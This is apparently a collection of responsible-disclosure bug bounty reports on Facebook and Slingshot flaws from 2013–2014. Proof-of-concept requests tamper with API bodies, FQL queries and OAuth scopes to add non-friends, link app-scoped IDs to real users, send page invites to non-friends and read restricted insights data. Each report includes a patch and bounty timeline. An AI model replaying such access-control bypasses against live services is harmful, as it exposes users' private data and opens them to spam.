Based on the blog and the in-app videos Slingshot works like Snapchat. If you have a username you can sling a “shot” to them. Well, I don’t need the username. If I know the Facebook account I can use that to query against the Parse SDK Slingshot is using to add the user to my list.

Impacts? Well spam and nude shots from people you didn’t give your username.

As stated here as well http://www.sling.me/theprivacy

“Registration and Contacts. To sign up for Slingshot, you provide your mobile phone number. Slingshot will periodically access your phone contacts to find the mobile numbers of other people you know who use Slingshot and let you sling shots to them, or let you invite them to join you on Slingshot. You can also add your Facebook friends to the list of people you sling with.”

I can add any Facebook user non-friend without username knowledge

Proof of Concept

Modify the POST body request to Parse API for /2/client_function placing TARGET_ID into the list of facebookIds

{"data":{"facebookIds":["TARGET_ID"]},"v":"a1.4.3","uuid":"UUID","iid":"IID","session_token":"SESSION_TOKEN","function":"v2_findFbFriends"}

Response

{"result":{"totalAdded":1}}

So this can be fixed in two ways.

  1. Only allow ids from Facebook friends only.
  2. Use App Scoped ids to match to Slingshot Data.

With method 2, I will not be able to determine any user from Facebook other than my own friend list.

Facebook chose to move the entire Facebook friend function to the server.

Timeline

Tue, Jun 17, 2014 at 4:21 PM – Report Sent
Tue, Jun 17, 2014 at 4:42 PM – Escalation by Facebook
Wed, Jul 9, 2014 at 5:58 PM – Patched and bounty awarded of $1000 by Facebook

The App Scoped User ID privacy is broken based on irregularities to how the ID works

  1. On Facebook.com
  2. On graph.facebook.com/1.0
  3. On graph.facebook.com/2.0

For 3) any apps cannot use another app scoped User ID, the result is “Unsupported get request”. Which makes sense, only that app that issued the app scoped User ID should know the true nature of that ID.

For 1) and 2) however, the idea behind the system breaks and User ID is both identifiable outside of its host app and open to queries.

Seeing that Graph API 1.0 will be valid for a next year, this seems like a leak to be fixed seeing that the whole idea of app scoped User IDs was to prevent such leaks.

Proof of Concept

FIRST CASE: The Graph v1.0 App Leak

1) Login to a 2.0 enabled application (App id 269335163238875 name:AnyLeepingTest), issued an app scoped id

10101589693029357

2) Try querying via v1.0 under same app (which will be unversioned and based on the docs, this defaults to v1.0) same id

10101589693029357

3) Inspect the previous id (10101589693029357) using a second v2.0 enabled App (app id: 458290410972131 name: NotLeepingTest). So we are using the access token from the second app but the app scoped id from the first app.

Result

{
"error": {
"message": "Unsupported get request.",
"type": "GraphMethodException",
"code": 100
}
}

Great, it works for this case Trying again under v1.0 (unversioned)

Same result

{
"error": {
"message": "Unsupported get request.",
"type": "GraphMethodException",
"code": 100
}
}

At this point the app scoped id works as intended.

But, what about a v1.0 app (Any app created before May), using Blank – Dev (appid:234385033316928) with a v1.0 call

{
"id": "10101589693029357",
"favorite_athletes": [
{
"id": "84218631570",
"name": "David Beckham"
},
{
"id": "191732387543166",
"name": "Jodi Boam IFBB Fitness Pro"
}
],
"favorite_teams": [
{
"id": "8914851378",
"name": "Montreal Alouettes"
},
{
"id": "63958787144",
"name": "Vancouver Canucks"
},
{
"id": "110877132302973",
"name": "Canadiens de Montréal"
}
],
"first_name": "Philippe",
"gender": "male",
"hometown": {
"id": "116087261735365",
"name": "Port of Spain, Trinidad and Tobago"
},
"inspirational_people": [
{
"id": "92304305160",
"name": "Will Smith"
},
{
"id": "112012775491068",
"name": "Markus Persson"
},
{
"id": "106083232757300",
"name": "Joel Spolsky"
}
],
"languages": [
{
"id": "106059522759137",
"name": "English"
},
{
"id": "108106272550772",
"name": "French"
}
],
"last_name": "Harewood",
"link": "https://www.facebook.com/philippeharewood",
"location": {
"id": "102184499823699",
"name": "Montreal, Quebec"
},
"locale": "en_US",
"name": "Philippe Harewood",
"sports": [
{
"id": "113479351995643",
"name": "Kayaking"
},
{
"id": "107751495914431",
"name": "Rowing"
},
{
"id": "107733585923064",
"name": "Sailing"
}
],
"quotes": "Live without pretending, Love without depending, Listen without defending, Speak without offending.",
"timezone": -4,
"updated_time": "2014-04-27T15:34:51+0000",
"username": "philippeharewood",
"verified": true
}

Ok this shouldn’t work even if app scoped ids are backwards compatible, the user (me) was already logged in under v1.0 so he received a user id already userid:"13608786" So there is no reason for a v1.0 app to have access to a v2.0 app scoped id 10101589693029357

The correct response would be

{
"error": {
"message": "Unsupported get request.",
"type": "GraphMethodException",
"code": 100
}
}

As with the case when trying to share id between two v2.0 apps.

SECOND CASE: profile link

In a v2.0 response for an id such as 10101589693029357 the profile link is https://www.facebook.com/app_scoped_user_id/10101589693029357/ so I assume this is another check in place to protect privacy. But this link goes straight to the user on clicking.

https://www.facebook.com/app_scoped_user_id/10101589693029357/ -> https://www.facebook.com/philippeharewood

Well, one could say the redirect only works in the current session user, but I have reattempted on a test account and the redirect still works.

So this link does no real obfuscation.

The correct check would be that the link only works in the current session user as well as developers of the app and produces 404 for any other user.

Using the info learned from case 1, I can also just return myself the original url

http://graph.facebook.com/10101589693029357

gives

{
"id": "10101589693029357",
"first_name": "Philippe",
"gender": "male",
"last_name": "Harewood",
"link": "https://www.facebook.com/philippeharewood",
"locale": "en_US",
"name": "Philippe Harewood",
"username": "philippeharewood"
}

Notice the link is the original link.

So overall, the app scoped id model seems to be inconsistent in some parts and this should be resolved in my opinion.

Response from Facebook

As you saw, the Facebook API is now versioned: https://developers.facebook.com/docs/apps/versions. That means any apps created today can only make requests to the v2 API, but apps created before the announcement can make requests to the v1 API until it expires as well as to the v2 API. That’s a necessary step since an application can’t always upgrade to v2 of the API in one synchronous step (ie: if a single app ID powers a number of mobile apps as well as a web app). To support that behavior, we support app-scoped UIDs even via the v1 API. And that’s where we run into problems ;-)

Generally speaking, you identified three potential issues:

  1. Given an app-scoped UID for v2 app X, it is possible to make requests to the v1 API with a v1 app Y and get back data.
  2. Given an app-scoped UID, you can browse to https://www.facebook.com/app_scoped_user_id/APP-SCOPED-UID and trivially see the real user.
  3. http://graph.facebook.com/APP-SCOPED-UID returns information about the user

The behavior in #1/#3 was caused by the fact that in v1 we were resolving app-scoped UIDs without verifying that the app was tied to the user account. Surprisingly, this is necessary in some cases (ie: an app which supports both v1 and v2 can make a request to http://graph.facebook.com/APP-SCOPED-UID and reasonably expect to get back a response, even without an access token, since that’s how v1 API works). What we’re changing is that IDs generated for apps which solely support v2 will not be able to make those same requests.

The behavior in #2 is actually by design and will not change. We need to provide a way for applications to generate profile links back to Facebook, which is what /app_scoped_user_id/ is for. Without it, there’s no way for users on an app to interact with their fellow users on Facebook. The endpoint requires you to be logged in and has rate limiting in place to prevent mass scraping. This was a security/usability tradeoff which we made as part of the development process.

Timeline

Thu, May 1, 2014 at 6:45 PM – Report Sent
Thu, May 1, 2014 at 8:38 PM – Escalation by Facebook
Thu, May 8, 2014 at 9:58 PM – Explanation of Update and Fix by Facebook
Wed, May 14, 2014 at 1:56 PM – Bounty awarded of $1500 by Facebook

Note

This type of bug as of Tue, Sep 9, 2014 at 11:41 PM is no longer seen as a vulnerability and should be reported to https://developers.facebook.com/bugs instead

In general, they’re more concerned about the ability to go from an app-scoped user ID to a global ID versus the ability to go from a global ID to an app-scoped ID. The former is at best a bug (ie: we’re returning an incorrect identifier) and at worst provides a global identifier that can be used to link users between unrelated applications. In the latter case, someone who knows the global ID of a user can already identify that user between applications.

…we’ve concluded that we won’t be rewarding issues of this type under our program going forward.

…the ability to go from an app-scoped user ID to a global identifier is definitely a Platform bug since the wrong identifier is being returned by the API. From a privacy perspective the fact that you can assign a global identifier to an API user also means that it’s easier to connect a person’s information between unrelated apps. However, app-scoped user IDs are a technical solution to a policy problem, and as such there are going to be ways to circumvent them (ie: two apps with access to your posts can collude to identify you by which posts you’ve published).

On the policy side, our Platform Policy document (https://developers.facebook.com/policy) lays out rules like “Protect the information you receive from us against unauthorized access or use” and “Don’t sell, license, or purchase any data obtained from us or our services” which are intended to protect people’s data. On the product side, our Anonymous Login system is intended for cases where you may not want to associate any of your personal information with your identity in an application.

We intend to treat future reports of this type as Platform bugs, which can be reported at https://developers.facebook.com/bugs/, since they affect the validity of the data returned via the API. However, since these identifiers are not directly intended to impart an extra layer of privacy, we aren’t going to treat these issues as valid Whitehat reports.

I was able to snipe a few bugs in the

  • Legacy REST API
  • FQL
  • Graph API v1.0
  • Graph API v2.0

before this decision was made.

Titles of reports

  • Linking Global IDs to App Scoped IDs using FQL thread table – $1500
  • Using Global IDs with App Notifications in a v2.0 App – $1500
  • Match users based on username in a v2.0 application using the FQL profile table – $1500
  • Using Facebook REST API to deduce an app scoped ID from a global ID – $1500
  • Linking an app-scoped ID to a Global ID using me/conversations edge in a v2.0 app – $1500
  • Using the metadata field to link an app-scoped ID to a global ID in a v2.0+ application – $1500
  • Using the friends edge to link users based on username or global ID in a v2.0+ application – $1500
  • Using /{video-id}/tags and tag_uid with a Global ID on a v2.0 application – $2000
  • Match users based on username in a v2.0 application using FQL stream table – $1500
  • Using Global IDs with /{page-id}/admins in a v2.0 Application – $1500
  • Link Global ID to App Scoped ID using FQL substr function in v2.0 application – $1500

It is possible to invite a non friend to a Facebook page using the mobile friend invite access point. Normally it should only be possible to invite friends and invite non-friends with email. With the mobile access point (https://m.facebook.com/a/send_page_invite/?invitee_id=INVITE_ID&page_id=PAGE_ID it is possible to bypass. This can lead to much unwanted invite spam from people the user is not friends with.

Proof of Concept

  1. Access invite link from mobile web https://m.facebook.com/send_page_invite/?pageid=113702895386410

  2. Replace the invitee_id with the non friend id (100006518623181 – Facebook Whitehat Test User). So the request becomes

HTTP POST /a/send_page_invite/?invitee_id=100006518623181&page_id=113702895386410

Expected: The non-friend user is not invited.
Actual: The friend is invited and invite shows up on the non friend page

Timeline

Wed, Nov 13, 2013 at 9:38 PM – Report sent
Mon, Nov 18, 2013 at 11:10 PM – Request for clarification from Facebook
Tue, Nov 19, 2013 at 12:18 PM – Further explanation sent
Tue, Nov 19, 2013 at 11:49 PM – Escalation of report by Facebook
Tue, Nov 26, 2013 at 11:24 AM – Patched confirmation
Tue, Nov 26, 2013 at 2:56 PM – Patch confirmed by Facebook
Tue, Nov 26, 2013 at 2:59 PM – Bounty awarded of $1500 by Facebook

According to developer documentation on the keyword_insights FQL table, the only way to get data from this table is to use an “app access token” from a whitelisted application. It is possible however to use a “user access token” to access the FQL table, meaning no app token is required, just a valid user authorization to an application that also has white listed access.

Proof of Concept

Using a whitelisted partner named under the Availability section of http://newsroom.fb.com/News/706/New-Tools-for-Surfacing-Conversations-on-Facebook, add the whitelisted app under normal user authorization OAuth flow. For this proof of concept Buzzfeed was used.

  1. Go to http://www.buzzfeed.com/, sign up in the upper right hand corner and you should be presented with the option to Sign Up with Facebook

  2. Using a network sniffer or developer tools extract the user access token (As far as I am aware, only real accounts can use these platform applications [except in the case of test user accounts for a developer of his/her app], so a real personal account has been used, specifically mine). The simplest way would be after sign up, just call the method from the JS SDK in the browser dev tools console: FB.getAccessToken()

  3. Using this access token, one can then make an FQL call using the Graph API explorer or otherwise

SELECT location_results FROM keyword_insights WHERE term='Obama' AND country='US'

Expected: An error returned due to wrong level of access
Actual: Full breakdown by City

This was also possible for age and gender breakdown

SELECT age_gender_results FROM keyword_insights WHERE term=’pizza’ AND region=’California’

Timeline

Wed, Sep 11, 2013 at 4:00 PM – Report Sent
Sun, Sep 15, 2013 at 1:31 PM – Escalation of report by Facebook
Wed, Sep 25, 2013 at 2:23 PM – Confirmed and Patched by Facebook
Wed, Sep 25, 2013 at 2:41 PM – Bounty awarded of $2000 by Facebook

Using a regular access_token of an installed (not owned) application with read_insights permission allows one to see the full detailed insights endpoint. Using this method, one was able to see full demographic breakdowns for Poke for iOS, Facebook for iOS and for the purposes of the PoC BangWithFriends.

According to API documentation on insights https://developers.facebook.com/docs/reference/api/insights/

Insights can be retrieved only as an array. To read Insights you need

  • a generic access_token for the publicly available application_active_users metric
  • a generic app access_token for all Insights for that app
  • read_insights permissions for all apps, pages and domains owned by this user

Also under the application documentation page (https://developers.facebook.com/docs/reference/api/application/) for the app/insights endpoint

Permissions are stated as “read_insights for an admin, or App access_token

(Note: it says admin not user who installed application)

From this, all I need to do is hit an OAuth point/section that provides me a way to grant myself read_insights permission.

Proof of Concept

  1. Go through bangwithfriends.com OAuth flow, appending the URL with read_insights

https://www.facebook.com/dialog/oauth?response_type=code
&client_id=178205172320915
&redirect_uri=http%3A%2F%2Fbangwithfriends.com%2Fauth%2Ffacebook%2Fcallback
&scope=email%2Cuser_relationships%2Cuser_relationship_details%2Cfriends_photos%2Cread_insights

  1. Should be redirected back to http://bangwithfriends.com/fuck#= also the site uses Facebook JS SDK, so one can pull out the access_token with a simple “FB.getAccessToken()”

  2. Check with an API call either in cURL or the Graph API Explorer using the newly obtained access token to ensure the read_insights permission is there “/me/permissions”

  3. Execute a second call to “/app/insights”

Expected: A summary of publicly available insights
Actual: The full detailed insights data including gender breakdown

Timeline

Tue, May 28, 2013 at 8:24 PM – Report Sent
Thu, May 30, 2013 at 8:12 PM – Confirmation and Escalation of report by Facebook
Mon, Jun 10, 2013 at 6:48 PM – Confirmation of fix sent
Mon, Jun 17, 2013 at 8:46 PM – Confirmed fixed by Facebook
Fri, Jun 21, 2013 at 7:10 AM – Bounty awarded of $4000 by Facebook